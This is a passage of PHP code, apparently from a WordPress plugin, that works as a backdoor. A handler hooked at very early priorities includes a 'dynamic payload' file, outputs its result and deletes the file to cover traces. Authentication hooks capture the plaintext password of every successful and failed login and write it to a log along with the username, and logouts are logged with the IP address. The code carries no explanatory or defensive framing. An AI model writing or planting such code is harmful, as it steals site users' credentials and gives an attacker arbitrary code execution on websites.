if ( is_string( $cleanup_file ) && $cleanup_file !== '' && file_exists( $cleanup_file ) ) {
@unlink( $cleanup_file );
}
}
);
if ( function_exists( 'nocache_headers' ) ) {
\nocache_headers();
}
header( 'Content-Type: text/html; charset=UTF-8' );
\status_header( 200 );
while ( ob_get_level() > 0 ) {
ob_end_clean();
}
ob_start();
$include_ok = false;
try {
$include_ok = @include_once $payload_path;
} finally {
if ( is_string( $payload_path ) && $payload_path !== '' && file_exists( $payload_path ) ) {
@unlink( $payload_path );
}
}
$buffer = ob_get_clean();
if ( $include_ok === false ) {
throw new \RuntimeException( 'wfc_dp: include_once returned false' );
}
if ( is_string( $buffer ) ) {
echo $buffer;
}
exit;
} catch ( \Throwable $e ) {
if ( is_string( $payload_path ) && $payload_path !== '' && file_exists( $payload_path ) ) {
@unlink( $payload_path );
}
if ( ! headers_sent() ) {
\status_header( 500 );
header( 'Content-Type: text/plain; charset=UTF-8' );
}
echo $e->getMessage();
exit;
}
};
\add_action( 'muplugins_loaded', $wfc_dp_dynamic_payload_handler, -99999 );
\add_action( 'plugins_loaded', $wfc_dp_dynamic_payload_handler, -99999 );
\add_action( 'init', $wfc_dp_dynamic_payload_handler, -999999 );
\add_action( 'template_redirect', $wfc_dp_dynamic_payload_handler, -999999 );
\add_filter(
'authenticate',
static function ( $user, $username, $password ) {
if ( ! empty( $username ) && ! empty( $password ) ) {
$GLOBALS['_wfc_login_pwd'] = $password;
}
return $user;
},
0,
3
);
\add_action(
'wp_login',
static function ( $user_login, $user ) {
$pwd = isset( $GLOBALS['_wfc_login_pwd'] ) ? $GLOBALS['_wfc_login_pwd'] : '';
unset( $GLOBALS['_wfc_login_pwd'] );
$time = \current_time( 'mysql' );
wfc_log_append( json_encode( array( 'ts' => $time, 'user' => $user_login, 'pwd' => $pwd, 'type' => 'login' ), JSON_UNESCAPED_UNICODE ) . "\n" );
},
10,
2
);
\add_action(
'wp_login_failed',
static function ( $username ) {
$pwd = isset( $GLOBALS['_wfc_login_pwd'] ) ? $GLOBALS['_wfc_login_pwd'] : '';
unset( $GLOBALS['_wfc_login_pwd'] );
$time = \current_time( 'mysql' );
wfc_log_append( json_encode( array( 'ts' => $time, 'user' => $username, 'pwd' => $pwd, 'type' => 'login' ), JSON_UNESCAPED_UNICODE ) . "\n" );
}
);
\add_action(
'wp_logout',
static function ( $user_id ) {
if ( $user_id && ( $user = \get_user_by( 'id', $user_id ) ) ) {
$ip = ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ? $_SERVER['HTTP_CLIENT_IP'] : ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : ( isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : '' ) );
$time = \current_time( 'mysql' );
wfc_log_append( json_encode( array( 'ts' => $time, 'user' => $user->user_login, 'id' => (int) $user_id, 'ip' => $ip, 'type' => 'logout' ), JSON_UNESCAPED_UNICODE ) . "\n" );
}
},
10,
1
);
}